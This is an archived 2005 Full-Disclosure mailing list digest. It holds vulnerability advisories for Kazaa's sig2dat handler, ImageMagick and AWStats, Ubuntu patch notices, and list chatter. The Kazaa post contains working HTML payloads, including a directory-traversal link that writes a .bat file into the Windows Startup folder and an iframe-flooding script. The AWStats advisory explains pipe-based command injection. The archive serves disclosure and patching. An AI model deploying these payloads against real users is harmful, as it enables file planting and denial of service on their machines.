"Scripts and Codes will make me D.O.S , but they will never HACK me."



From theinsider at 012.net.il  Mon Jan 17 20:40:47 2005
From: theinsider at 012.net.il (Rafel Ivgi, The-Insider)
Date: Mon, 17 Jan 2005 22:40:47 +0200
Subject: [Full-Disclosure] Kazaa Sig2Dat Protocol Remote Integer Overflow
 and Denial Of Service by creating files in arbitrary locations
Message-ID: <001201c4fcd4$d32e9c10$f85ab350@noone>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application:   Kazaa
Vendors:       http://www.kazaa.com
Versions:       kazaa lite k++(probably all others too...)
Platforms:      Windows
Bug:              Sig2Dat Protocol Remote Integer Overflow and
                     Denial Of Service by creating files in arbitrary
locations
Exploitation:   Remote With Browser
Date:             17 Jan 2005
Author:          Rafel Ivgi, The-Insider
E-Mail:          the_insider at mail.com
Website:        http://theinsider.deep-ice.com

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1) Introduction
2) Bugs
3) The Code

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===============
1) Introduction
===============

Kazaa is currently the world?s most common P2P file sharing application.
When installing Kazaa a new protocol is installed named ?sig2dat?.
This protocol contain an integer overflow vulnerability which may cause
a crash and may allow remote execution of code. There is another
vulnerability in the ?File:? parameter which allows creating files in
arbitrary locations and committing Denial Of Service.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

======
2) Bug
======

The sig2dat protocol syntax:
Sig2dat://<filename>%7c<file length in bytes>< file length in
kilobytes>%7c<HASH>%7c

The vulnerable parameter is the file ?Length? (in bytes). Specifying a
numeric value bigger than a 999999999.

Successful exploiting of this vulnerability may allow remote code execution.

There is another vulnerability in the ?File:? parameter. It allows creation
of files in arbitrary locations within the same partition as the shared
folder,
using the classic directory transversal technique ?../?.

For Example:
<A HREF="sig2dat://%7CFile:../../../../../../Docume~1/All Users/Start Menu/
Programs/Startup/cool.bat%7CLength:373236528%20Bytes,364489KB%7CUUHash:=DEf
m3HmvILkNcbY7j5NGa%2BD11CQ=%7C/">CLICK HERE</A>


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===========
3) The Code
===========

1) <A HREF="sig2dat://%7CFile:dev-catz5%28.bin%7CLength:99999999999999999999
9999999%20Bytes,364489KB%7CUUHash:=DEfm3HmvILkNcbY7j5NGa%2BD11CQ=%7C/">CLICK
HERE</A>
*********************************************************************
2) <A HREF="sig2dat://%7CFile:../../../../../../Docume~1/All Users/Start
Menu
/Programs/Startup/cool.bat%7CLength:373236528%20Bytes,364489KB%7CUUHash:=DEf
m
3HmvILkNcbY7j5NGa%2BD11CQ=%7C/">CLICK HERE</A>
*********************************************************************
3) <script>
var i
for (i=1;i<10000;i++)
{
mylocation="<iframe src='sig2dat://%7CFile:../../../../../../Docume~1/All
Users
/Start
Menu/Programs/Startup/cool"+i+".bat%7CLength:373236528%20Bytes,364489KB%
7CUUHash:=DEfm3HmvILkNcbY7j5NGa%2BD11CQ=%7C/'></iframe>";
document.write(mylocation);
}
</script>


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

---
Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com

"Scripts and Codes will make me D.O.S , but they will never HACK me."



From manbsd at gmail.com  Mon Jan 17 21:52:54 2005
From: manbsd at gmail.com (MaNUaL)
Date: Mon, 17 Jan 2005 23:52:54 +0200
Subject: [Full-Disclosure] Illegal mind control is coming to the USA,
	black helicopters
In-Reply-To: <20050117174141.GP39109@DAPCVA.da>
References: <20050117113621.GW39109@DAPCVA.da>
	<20050117173911.1246997BF@mail.deny-all.com>
	<20050117174141.GP39109@DAPCVA.da>
Message-ID: <ca0da54a05011713524bb5b82a@mail.gmail.com>

Yea.. but if you believe the lie (live it) then it can't be detected,
as it can happens in the polygraph test.. Military and cia also train
their agents to pass these detector tests by controling themselves
(heart rate etc)...Nice huh?


On Mon, 17 Jan 2005 18:41:41 +0100, Vincent Archer <var at deny-all.com> wrote:
> On Mon, Jan 17, 2005 at 12:38:33PM -0500, Paul Kurczaba wrote:
> > Mind control is also when Bush was given answers at the first debate; by a
> > radio receiver hidden under his coat
> > (http://www.washingtonpost.com/wp-dyn/articles/A18734-2004Oct8.html). But
> > when the media questioned Bush, he just said it was a "poorly tailored"
> > suit. Yeah right!
> 
> /insert obligatory reference to _Interface_ (a Neal Stephenson novel, if
> you've never read it)
> 
> --
> Vincent ARCHER
> varcher at denyall.com
> 
> Tel : +33 (0)1 40 07 47 14
> Fax : +33 (0)1 40 07 47 27
> Deny All - 5, rue Scribe - 75009 Paris - France
> www.denyall.com
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>


From idlabs-advisories at idefense.com  Mon Jan 17 18:19:38 2005
From: idlabs-advisories at idefense.com (idlabs-advisories at idefense.com)
Date: Mon, 17 Jan 2005 13:19:38 -0500
Subject: [Full-Disclosure] iDEFENSE Security Advisory 01.17.05: Multiple
	Vendor ImageMagick
	.psd Image File Decode Heap Overflow Vulnerability
Message-ID: <FB24803D1DF2A34FA59FC157B77C970503C8B19F@idserv04.idef.com>

Multiple Vendor ImageMagick .psd Image File Decode Heap Overflow
Vulnerability

iDEFENSE Security Advisory 01.17.05
www.idefense.com/application/poi/display?id=184&type=vulnerabilities
January 17, 2005

I. BACKGROUND

ImageMagick provides a variety of graphics image-handling libraries and 
capabilities. These libraries are widely used and are shipped by default

on most Unix and Linux distributions. These libraries are commonly 
installed by default on computers where any other graphical image viewer
or X Desktop environment is installed (such as Gnome or KDE).

More information is available at the following site:

   http://www.imagemagick.org

II. DESCRIPTION

Remote exploitation of a buffer overflow vulnerability in The 
ImageMagick's Project's ImageMagick PSD image-decoding module could 
allow an attacker to execute arbitrary code. 

A heap overflow exists within ImageMagick, specifically in the decoding 
of Photoshop Document (PSD) files. The vulnerable code follows:

ImageMagick-6.1.0/coders/psd.c

for (j=0; j < (long) layer_info[i].channels; j++) 
{ 
  layer_info[i].channel_info[j].type=(short)ReadBlobMSBShort(image);
  layer_info[i].channel_info[j].size=ReadBlobMSBLong(image);
  [...]
} 

The array channel_info is only 24 elements large, and the loop variable,

"j", is bounded by a user-supplied value from the image file, thus 
allowing a heap overflow to occur when more than 24 layers are 
specified. If heap structures are overflowed in a controlled way, 
execution of arbitrary code is possible.

III. ANALYSIS

Exploitation may allow attackers to run arbitrary code on a victim's 
computer if the victim opens a specially formatted image. Such images 
could be delivered by e-mail or HTML, in some cases, and would likely 
not raise suspicion on the victim's part. Exploitation is also possible 
when a web-based application uses ImageMagick to process user-uploaded 
image files.

IV. DETECTION

iDEFENSE has confirmed this vulnerability in ImageMagick 6.1.0 and 
ImageMagick 6.1.7. Earlier versions are also suspected vulnerable.

The following vendors may include vulnerable ImageMagick packages: 
	
   The Debian Project 
   MandrakeSoft 
   Red Hat, Inc. 

V. WORKAROUND

Do not open files from untrusted sources. Do not allow untrusted sources

to process images using your web application.

VI. VENDOR RESPONSE

This vulnerability is addressed in ImageMagick 6.1.8-8, available for
download at:

   http://www.imagemagick.org/www/download.html

VII. CVE INFORMATION

The Common Vulnerabilities and Exposures (CVE) project has assigned the
names CAN-2005-0005 to these issues. This is a candidate for inclusion
in the CVE list (http://cve.mitre.org), which standardizes names for
security problems.

A Mitre Corp. Common Vulnerabilities and Exposures (CVE) number has not
been assigned yet.

VIII. DISCLOSURE TIMELINE

12/21/2004  Initial vendor notification
01/14/2004  Initial vendor response
01/17/2005  Public disclosure

IX. CREDIT

Andrei Nigmatulin is credited with this discovery.

Get paid for vulnerability research
http://www.idefense.com/poi/teams/vcp.jsp

X. LEGAL NOTICES

Copyright (c) 2004 iDEFENSE, Inc.

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDEFENSE. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email customerservice at idefense.com for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.




From idlabs-advisories at idefense.com  Mon Jan 17 23:13:51 2005
From: idlabs-advisories at idefense.com (idlabs-advisories at idefense.com)
Date: Mon, 17 Jan 2005 18:13:51 -0500
Subject: [Full-Disclosure] iDEFENSE Security Advisory 01.17.05: AWStats
	Remote Command Execution Vulnerability
Message-ID: <FB24803D1DF2A34FA59FC157B77C970503C8B20C@idserv04.idef.com>

AWStats Remote Command Execution Vulnerability

iDEFENSE Security Advisory 01.17.05
www.idefense.com/application/poi/display?id=185&type=vulnerabilities
January 17, 2005

I. BACKGROUND

AWStats is a free tool that generates advanced web, ftp or mail server
statistics, graphically. More information about AWStats is available
from:

    http://awstats.sourceforge.net

II. DESCRIPTION

Remote exploitation of an input validation vulnerability in AWStats
allows attackers to execute arbitrary commands under the privileges of
the web server.

The problem specifically exists when the application is running as a
CGI script on a web server. The "configdir" parameter contains
unfiltered user-supplied data that is utilized in a call to the Perl
routine open() as can be seen here on line 1082 of awstats.pl:

    if (open(CONFIG,"$searchdir$PROG.$SiteConfig.conf"))

The "searchdir" variables hold the value of the parameter provided by
the attacker from "configdir." An attacker can cause arbitrary commands
to be executed by prefixing them with the "|" character.

III. ANALYSIS

Successful exploitation allows remote attackers to execute arbitrary
commands under the privileges of the web server. This can lead to
further compromise as it provides remote attackers with local access.

IV. DETECTION

iDEFENSE has confirmed that AWStats version 6.1 is vulnerable.
It is suspected that earlier versions are also vulnerable.

V. WORKAROUND

Add a filter around the "configdir" parameter by replacing the following
line:

    if ($QueryString =~ /configdir=([^&]+)/i)
    {
        $DirConfig=&DecodeEncodedString("$1");
    }

With:

    if ($QueryString =~ /configdir=([^&]+)/i)
    {
        $DirConfig=&DecodeEncodedString("$1");
        $DirConfig=~tr/a-z0-9_\-\/\./a-z0-9_\-\/\./cd;
    } 

VI. VENDOR RESPONSE

This vulnerability is addressed in AWStats 6.3, available for download
at:

   http://awstats.sourceforge.net/#DOWNLOAD

VII. CVE INFORMATION

A Mitre Corp. Common Vulnerabilities and Exposures (CVE) number has not
been assigned yet.

VIII. DISCLOSURE TIMELINE

10/21/2004  Initial vendor notification
01/02/2005  Initial vendor response
01/17/2005  Public disclosure

IX. CREDIT

The discoverer of this vulnerability wishes to remain anonymous.

Get paid for vulnerability research
http://www.idefense.com/poi/teams/vcp.jsp

X. LEGAL NOTICES

Copyright (c) 2005 iDEFENSE, Inc.

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDEFENSE. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email customerservice at idefense.com for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.




From michealespinola at gmail.com  Tue Jan 18 00:29:35 2005
From: michealespinola at gmail.com (Micheal Espinola Jr)
Date: Mon, 17 Jan 2005 19:29:35 -0500
Subject: [Full-Disclosure] Steam looses its power
Message-ID: <acdc033d05011716291a3923ce@mail.gmail.com>

At approx. 7PM EST, Steam - the network that powers Valve gaming
applications (such as Half-Life 2 and Counter-Strike:Source) -
officially lost power.

All users/servers simulatenously lost connectivity, and none were
available for re-entry - save (1) Half-Life 2 server,
WHITE_WIDOW_[S2].

Anyone know what happened?  Exploit, Attack, BOFH?

-- 
ME2
<http://www.santeriasys.net/rss.xml>


From optik at wccnet.org  Tue Jan 18 01:38:26 2005
From: optik at wccnet.org (Rick)
Date: Mon, 17 Jan 2005 20:38:26 -0500 (EST)
Subject: [Full-Disclosure] Steam looses its power
In-Reply-To: <acdc033d05011716291a3923ce@mail.gmail.com>
References: <acdc033d05011716291a3923ce@mail.gmail.com>
Message-ID: <Pine.GSO.4.58.0501172038001.19426@orchard.wccnet.org>

perhaps it had something to do with the new update?

rik
http://orchard.wccnet.org/~optik

On Mon, 17 Jan 2005, Micheal Espinola Jr wrote:

> At approx. 7PM EST, Steam - the network that powers Valve gaming
> applications (such as Half-Life 2 and Counter-Strike:Source) -
> officially lost power.
>
> All users/servers simulatenously lost connectivity, and none were
> available for re-entry - save (1) Half-Life 2 server,
> WHITE_WIDOW_[S2].
>
> Anyone know what happened?  Exploit, Attack, BOFH?
>
> --
> ME2
> <http://www.santeriasys.net/rss.xml>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>


From evilninja at gmx.net  Tue Jan 18 04:16:39 2005
From: evilninja at gmx.net (Christian)
Date: Tue, 18 Jan 2005 05:16:39 +0100
Subject: [Full-Disclosure] GNU gcc vuln. < 3.4.3 local root (.php)
In-Reply-To: <BE869FF4-686B-11D9-A957-000D93C0F38C@teknovis.com>
References: <BAY18-F2232F51F71B8CC25206EFDCF8E0@phx.gbl>
	<BE869FF4-686B-11D9-A957-000D93C0F38C@teknovis.com>
Message-ID: <41EC8DA7.4060306@gmx.net>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Andrew Farmer schrieb:
> 
> Old "vulnerability". Equivalent to:
> 
>>> /* fake_vuln.c */
>>> int getuid(void) { return 0; }
>>> int geteuid(void) { return 0; }
>>> int getgid(void) { return 0; }
>>
>>
>> sh % gcc -shared fake_vuln.c -o fake_vuln.so
>> sh % LD_PRELOAD=`pwd`/fake_vuln.so /bin/sh
>> sh # id
>> uid=0(root) gid=0(root) <etc etc etc>
>> sh # cat /etc/shadow
>> cat: /etc/shadow: Permission denied

there is even a package in my linux-distribution for this, called "fakeroot":

evil at sheep:~$ fakeroot
root at sheep:~# whoami
root

- --
BOFH excuse #38:

secretary plugged hairdryer into UPS
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.5 (GNU/Linux)
Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org

iD8DBQFB7I2nC/PVm5+NVoYRAo+VAJ46m6C9v61ukMCq8p525h8CxNrGcQCfbqbO
uNmpG/WGygmCtHgGq/fHX48=
=0/7e
-----END PGP SIGNATURE-----


From Thierry at sniff-em.com  Tue Jan 18 16:14:10 2005
From: Thierry at sniff-em.com (Thierry Zoller)
Date: Tue, 18 Jan 2005 17:14:10 +0100
Subject: [Full-Disclosure] Re: Kazaa Sig2Dat Protocol Remote Integer
	Overflow and Denial Of Service by creating files in arbitrary
	locations
In-Reply-To: <001201c4fcd4$d32e9c10$f85ab350@noone>
References: <001201c4fcd4$d32e9c10$f85ab350@noone>
Message-ID: <239338590.20050118171410@Sniff-em.com>



Temporary "Fix" :
----------------------------------------------
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\sig2dat\shell\open\command]
@=""
----------------------------------------------


-- 
Regards,
Thierry Zoller
Secure-It: http://www.sniff-em.com/secureit.shtml
-------------- next part --------------
A non-text attachment was scrubbed...
Name: sig2datfix.reg
Type: application/octet-stream
Size: 194 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050118/bd8d0dc1/attachment.obj 

From bvsev at mail.ru  Tue Jan 18 16:14:51 2005
From: bvsev at mail.ru (bvsev at mail.ru)
Date: Tue, 18 Jan 2005 19:14:51 +0300
Subject: [Full-Disclosure] network associates mcafee controls 
In-Reply-To: <200501141928.j0EJSN4J031517@turing-police.cc.vt.edu>
Message-ID: <E1Cqw0J-000Pe9-00.bvsev-mail-ru@f25.mail.ru>

Hi
This is just for my personal knowledge, I just wanna run stuff without getting  "not enough rights" boxes all the time. My boss would be OK, don't worry

-----Original Message-----
From: Valdis.Kletnieks at vt.edu
To: bvsev at mail.ru
Date: Fri, 14 Jan 2005 14:28:23 -0500
Subject: Re: [Full-Disclosure] network associates mcafee controls 

> 
> On Fri, 14 Jan 2005 19:54:28 +0300, bvsev at mail.ru said:
> > Does anybody know or had any experiences with mcafee parental controls. It's 
> > used at my work,
> 
> "Parental Controls".  "Used at work".
> 
> I suspect that the employer-employee relationship there has some major issues.
> And that said issues are likely to be made worse by circumventing them.
> 
> In other words: Do you *really* want to risk getting fired for hacking around
> something the management thinks is needed?
> 
> ATTACHMENT: application/pgp-signature
> 


From martin.pitt at canonical.com  Tue Jan 18 16:56:58 2005
From: martin.pitt at canonical.com (Martin Pitt)
Date: Tue, 18 Jan 2005 17:56:58 +0100
Subject: [Full-Disclosure] [USN-61-1] vim vulnerabilities
Message-ID: <20050118165658.GA9816@box79162.elkhouse.de>

===========================================================
Ubuntu Security Notice USN-61-1		   January 18, 2005
vim vulnerabilities
CAN-2005-0069
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 4.10 (Warty Warthog)

The following packages are affected:

kvim
vim
vim-gnome
vim-gtk
vim-lesstif
vim-perl
vim-python
vim-tcl

The problem can be corrected by upgrading the affected package to
version 1:6.3-025+1ubuntu2.2. In general, a standard system upgrade is
sufficient to effect the necessary changes.

Details follow:

Javier Fern?ndez-Sanguino Pe?a noticed that the auxillary scripts
"tcltags" and "vimspell.sh" created temporary files in an insecure
manner. This could allow a symbolic link attack to create or overwrite
arbitrary files with the privileges of the user invoking the script
(either by calling it directly or by execution through vim).

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/v/vim/vim_6.3-025+1ubuntu2.2.diff.gz
      Size/MD5:   425421 ee7e4653fb70fd45329bf5773e610ad6
    http://security.ubuntu.com/ubuntu/pool/main/v/vim/vim_6.3-025+1ubuntu2.2.dsc
      Size/MD5:     1122 9bd9428dd29c8aa562f4b97566b9a05a
    http://security.ubuntu.com/ubuntu/pool/main/v/vim/vim_6.3.orig.tar.gz
      Size/MD5:  5624622 de1c964ceedbc13538da87d2d73fd117

  Architecture independent packages:

    http://security.ubuntu.com/ubuntu/pool/main/v/vim/vim-common_6.3-025+1ubuntu2.2_all.deb
      Size/MD5:  3421084 8dc7b200376add6ccb2896e2f6e80e0d
    http://security.ubuntu.com/ubuntu/pool/main/v/vim/vim-doc_6.3-025+1ubuntu2.2_all.deb
      Size/MD5:  1646686 2c2716a1dad40612baaaf28ebc0de3a6

  amd64 architecture (Athlon64, Opteron, EM64T Xeon)

    http://security.ubuntu.com/ubuntu/pool/universe/v/vim/kvim_6.3-025+1ubuntu2.2_amd64.deb
      Size/MD5:     2586 1e0b1528b70e54e2bcff3a02acaacbc5
    http://security.ubuntu.com/ubuntu/pool/main/v/vim/vim-gnome_6.3-025+1ubuntu2.2_amd64.deb
      Size/MD5:   805722 51093d7843d5fb20ece35d2f53eadb0d
    http://security.ubuntu.com/ubuntu/pool/universe/v/vim/vim-gtk_6.3-025+1ubuntu2.2_amd64.deb
      Size/MD5:   802452 d4fd55aca188063434361f5674805dec
    http://security.ubuntu.com/ubuntu/pool/universe/v/vim/vim-lesstif_6.3-025+1ubuntu2.2_amd64.deb
      Size/MD5:   784100 1d477c5f09466e8942d0f7da3c221afd
    http://security.ubuntu.com/ubuntu/pool/universe/v/vim/vim-perl_6.3-025+1ubuntu2.2_amd64.deb
      Size/MD5:   809126 646c31a0d612b398943b4c2a42c9b6f9
    http://security.ubuntu.com/ubuntu/pool/universe/v/vim/vim-python_6.3-025+1ubuntu2.2_amd64.deb
      Size/MD5:   802470 ede70bb09d39b7571fae1192900b0385
    http://security.ubuntu.com/ubuntu/pool/universe/v/vim/vim-tcl_6.3-025+1ubuntu2.2_amd64.deb
      Size/MD5:   801160 aa65781693eca8d06230bc5f8ee29463
    http://security.ubuntu.com/ubuntu/pool/main/v/vim/vim_6.3-025+1ubuntu2.2_amd64.deb
      Size/MD5:   765120 b5425b1b087b9528e7e4a9ef25493299

  i386 architecture (x86 compatible Intel/AMD)

    http://security.ubuntu.com/ubuntu/pool/universe/v/vim/kvim_6.3-025+1ubuntu2.2_i386.deb
      Size/MD5:     2590 edbd9dc0be6acaea44ee02e09c6e5c3e
    http://security.ubuntu.com/ubuntu/pool/main/v/vim/vim-gnome_6.3-025+1ubuntu2.2_i386.deb
      Size/MD5:   702656 7a12cb5196a1257eae527f5b231d763d
    http://security.ubuntu.com/ubuntu/pool/universe/v/vim/vim-gtk_6.3-025+1ubuntu2.2_i386.deb
      Size/MD5:   700006 486ea88f3d0a2c4eb1804c09bca8418b
    http://security.ubuntu.com/ubuntu/pool/universe/v/vim/vim-lesstif_6.3-025+1ubuntu2.2_i386.deb
      Size/MD5:   682462 61c39ffed3017081974a3af522b61959
    http://security.ubuntu.com/ubuntu/pool/universe/v/vim/vim-perl_6.3-025+1ubuntu2.2_i386.deb
      Size/MD5:   707674 05989ac6496d7a1db524b68bd1acd313
    http://security.ubuntu.com/ubuntu/pool/universe/v/vim/vim-python_6.3-025+1ubuntu2.2_i386.deb
      Size/MD5:   700022 09e7ebbe082c99520d11fa33277cc212
    http://security.ubuntu.com/ubuntu/pool/universe/v/vim/vim-tcl_6.3-025+1ubuntu2.2_i386.deb
      Size/MD5:   699634 673329baa7cd9aca70cca9f87943a628
    http://security.ubuntu.com/ubuntu/pool/main/v/vim/vim_6.3-025+1ubuntu2.2_i386.deb
      Size/MD5:   680130 305b1d85bbdb52dd9869a21664049be3

  powerpc architecture (Apple Macintosh G3/G4/G5)

    http://security.ubuntu.com/ubuntu/pool/universe/v/vim/kvim_6.3-025+1ubuntu2.2_powerpc.deb
      Size/MD5:     2586 f56083ef36048c9b94c41a37c35633dc
    http://security.ubuntu.com/ubuntu/pool/main/v/vim/vim-gnome_6.3-025+1ubuntu2.2_powerpc.deb
      Size/MD5:   787984 e38f3d9674200796e39438ece635ebf7
    http://security.ubuntu.com/ubuntu/pool/universe/v/vim/vim-gtk_6.3-025+1ubuntu2.2_powerpc.deb
      Size/MD5:   785338 bdb6dd908d78a1172a431b4dbbea97f5
    http://security.ubuntu.com/ubuntu/pool/universe/v/vim/vim-lesstif_6.3-025+1ubuntu2.2_powerpc.deb
      Size/MD5:   769822 b4dc7592d9a49fa63488ff35b7f9b97d
    http://security.ubuntu.com/ubuntu/pool/universe/v/vim/vim-perl_6.3-025+1ubuntu2.2_powerpc.deb
      Size/MD5:   792362 76ae3cbe76e78757cd82b08b8ebe2aa8
    http://security.ubuntu.com/ubuntu/pool/universe/v/vim/vim-python_6.3-025+1ubuntu2.2_powerpc.deb
      Size/MD5:   785354 c4e418a1fba8015c2416b662a77a257f
    http://security.ubuntu.com/ubuntu/pool/universe/v/vim/vim-tcl_6.3-025+1ubuntu2.2_powerpc.deb
      Size/MD5:   784868 c9f9251376c1cb48552fd8012acbec7c
    http://security.ubuntu.com/ubuntu/pool/main/v/vim/vim_6.3-025+1ubuntu2.2_powerpc.deb
      Size/MD5:   754620 c69a3dc15fddab0bad774759dd3ea6ae
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: Digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050118/3fb7a9e4/attachment.bin 

From martin.pitt at canonical.com  Tue Jan 18 17:00:35 2005
From: martin.pitt at canonical.com (Martin Pitt)
Date: Tue, 18 Jan 2005 18:00:35 +0100
Subject: [Full-Disclosure] [USN-62-1] imagemagick vulnerability
Message-ID: <20050118170035.GB9816@box79162.elkhouse.de>

===========================================================
Ubuntu Security Notice USN-62-1		   January 18, 2005
imagemagick vulnerability
CAN-2005-0005
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 4.10 (Warty Warthog)

The following packages are affected:

imagemagick
libmagick6

The problem can be corrected by upgrading the affected package to
version 5:6.0.2.5-1ubuntu1.3. In general, a standard system upgrade is
sufficient to effect the necessary changes.

Details follow:

Andrei Nigmatulin discovered a potential buffer overflow in the
PhotoShop Document image decoding function of ImageMagick. Decoding a
malicious PSD image which specifies more than the allowed 24 channels
might result in execution of arbitrary code with the user's
privileges.

Since ImageMagick can be used in custom printing systems, this also
might lead to privilege escalation (execute code with the printer
spooler's privileges). However, Ubuntu's standard printing system does
not use ImageMagick, thus there is no risk of privilege escalation in
a standard installation.

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/i/imagemagick/imagemagick_6.0.2.5-1ubuntu1.3.diff.gz
      Size/MD5:   129613 75352895a302e3f3723d9cd406777f7b
    http://security.ubuntu.com/ubuntu/pool/main/i/imagemagick/imagemagick_6.0.2.5-1ubuntu1.3.dsc
      Size/MD5:      874 8fd92a6825c03eec507f03c5b933ecc3
    http://security.ubuntu.com/ubuntu/pool/main/i/imagemagick/imagemagick_6.0.2.5.orig.tar.gz
      Size/MD5:  6700454 207fdb75b6c106007cc483cf15e619ad

  amd64 architecture (Athlon64, Opteron, EM64T Xeon)

    http://security.ubuntu.com/ubuntu/pool/main/i/imagemagick/imagemagick_6.0.2.5-1ubuntu1.3_amd64.deb
      Size/MD5:  1366208 c2be7fe40f56510b730c8d978e15d5fa
    http://security.ubuntu.com/ubuntu/pool/main/i/imagemagick/libmagick++6-dev_6.0.2.5-1ubuntu1.3_amd64.deb
      Size/MD5:   226522 fa3f732d24cd647e1ace4b376f1bb7f7
    http://security.ubuntu.com/ubuntu/pool/main/i/imagemagick/libmagick++6_6.0.2.5-1ubuntu1.3_amd64.deb
      Size/MD5:   161096 bd4a4038b4df6bec15a830142bc7ba7a
    http://security.ubuntu.com/ubuntu/pool/main/i/imagemagick/libmagick6-dev_6.0.2.5-1ubuntu1.3_amd64.deb
      Size/MD5:  1519992 6d374d3d29c3e1000996999aec3b33b1
    http://security.ubuntu.com/ubuntu/pool/main/i/imagemagick/libmagick6_6.0.2.5-1ubuntu1.3_amd64.deb
      Size/MD5:  1167334 5f8b7b2640ba6d14b17ed0912291ddc3
    http://security.ubuntu.com/ubuntu/pool/universe/i/imagemagick/perlmagick_6.0.2.5-1ubuntu1.3_amd64.deb
      Size/MD5:   138710 f7cef8050c694e474ccf9261378ba30f

  i386 architecture (x86 compatible Intel/AMD)

    http://security.ubuntu.com/ubuntu/pool/main/i/imagemagick/imagemagick_6.0.2.5-1ubuntu1.3_i386.deb
      Size/MD5:  1366118 f607e0df49c6135b5102a709bc2cdb86
    http://security.ubuntu.com/ubuntu/pool/main/i/imagemagick/libmagick++6-dev_6.0.2.5-1ubuntu1.3_i386.deb
      Size/MD5:   206634 55e3d9f8c4d0d7464cdbc7605af94686
    http://security.ubuntu.com/ubuntu/pool/main/i/imagemagick/libmagick++6_6.0.2.5-1ubuntu1.3_i386.deb
      Size/MD5:   162832 c900291894be3775990daf17e592137f
    http://security.ubuntu.com/ubuntu/pool/main/i/imagemagick/libmagick6-dev_6.0.2.5-1ubuntu1.3_i386.deb
      Size/MD5:  1425788 780ff037e17809b06ecdee21a39d9228
    http://security.ubuntu.com/ubuntu/pool/main/i/imagemagick/libmagick6_6.0.2.5-1ubuntu1.3_i386.deb
      Size/MD5:  1115830 42a211f5e1c07f4c0fd820c30c01c497
    http://security.ubuntu.com/ubuntu/pool/universe/i/imagemagick/perlmagick_6.0.2.5-1ubuntu1.3_i386.deb
      Size/MD5:   137272 a977911d2f48337e64ab72f119f51dc2

  powerpc architecture (Apple Macintosh G3/G4/G5)

    http://security.ubuntu.com/ubuntu/pool/main/i/imagemagick/imagemagick_6.0.2.5-1ubuntu1.3_powerpc.deb
      Size/MD5:  1371386 9eadcc224574cbcc5a5ca9d7c82dcdc0
    http://security.ubuntu.com/ubuntu/pool/main/i/imagemagick/libmagick++6-dev_6.0.2.5-1ubuntu1.3_powerpc.deb
      Size/MD5:   225288 e0f72079ba0c18ae6bc31d5e85c940aa
    http://security.ubuntu.com/ubuntu/pool/main/i/imagemagick/libmagick++6_6.0.2.5-1ubuntu1.3_powerpc.deb
      Size/MD5:   154596 add2a438f6f9635bce870a40c8577c86
    http://security.ubuntu.com/ubuntu/pool/main/i/imagemagick/libmagick6-dev_6.0.2.5-1ubuntu1.3_powerpc.deb
      Size/MD5:  1660674 bb2a732f815bf30e96ac4b4557b0c595
    http://security.ubuntu.com/ubuntu/pool/main/i/imagemagick/libmagick6_6.0.2.5-1ubuntu1.3_powerpc.deb
      Size/MD5:  1151774 35cf821f073d7ed882a8c4c6d94365da
    http://security.ubuntu.com/ubuntu/pool/universe/i/imagemagick/perlmagick_6.0.2.5-1ubuntu1.3_powerpc.deb
      Size/MD5:   136202 f8859166433ecc7b0bdc5ffa76ce8395
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: Digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050118/6fb5ea19/attachment.bin 

From martin.pitt at canonical.com  Tue Jan 18 17:05:13 2005
From: martin.pitt at canonical.com (Martin Pitt)
Date: Tue, 18 Jan 2005 18:05:13 +0100
Subject: [Full-Disclosure] [USN-63-1] MySQL client vulnerability
Message-ID: <20050118170513.GC9816@box79162.elkhouse.de>

===========================================================
Ubuntu Security Notice USN-63-1		   January 18, 2005
mysql-dfsg vulnerability
CAN-2005-0004
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 4.10 (Warty Warthog)

The following packages are affected:

mysql-client

The problem can be corrected by upgrading the affected package to
version 4.0.20-2ubuntu1.2. In general, a standard system upgrade is
sufficient to effect the necessary changes.

Details follow:

Javier Fern?ndez-Sanguino Pe?a noticed that the "mysqlaccess" program
